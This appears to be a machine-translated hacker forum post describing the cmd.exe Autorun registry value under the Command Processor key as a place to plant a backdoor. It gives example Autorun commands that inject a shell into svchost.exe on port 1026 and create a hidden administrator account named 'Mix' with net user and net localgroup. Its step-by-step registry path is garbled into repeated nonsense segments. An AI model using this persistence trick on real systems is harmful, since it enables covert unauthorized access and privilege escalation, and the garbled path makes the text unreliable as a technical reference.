Mix is old in a gentleman, saying to write a document, hey. . . .
Bored, cmd / after seeing a lot of things, there is a fun:
*******************
If / D is not specified on the command line, it will look for when cmd.exe starts
The following REG_SZ / REG_EXPAND_SZ registry variable. If one or
Both exists, the two variables will be executed first.
HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Command Processor / Autorun
and / or
HKEY_CURRENT_USER / SOFTWARE / Microsoft / Command Processor / Autorun
******************
Oh, it is a good place to put the back door. I use @c:/injshell.exe svchost.exe 1026> NUL, open CMD, no exception (of course, does not include C :/injshell.exe). If you use Net User Mix / Add & Net LocalGroup Administrators Mix / Add, isn't it a sequel? Everyone wonders yourself ~~~
Some people ask the specific practice, write it hand, if you don't understand, it is my expression ability :) Oh
First open HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft_User / Software / Microsoft_User / Software / Microsoft / CommSuser / Software / Microsoft / CommSuser / Software / Microsoft / CommoSr / Software / Microsoft / CommSman / Software / Microsoft / Command Processor. For example, I use @c:/injshell.exe svchost.exe 1026> NUL, if someone uses CMD, you will automatically perform the commands you set.
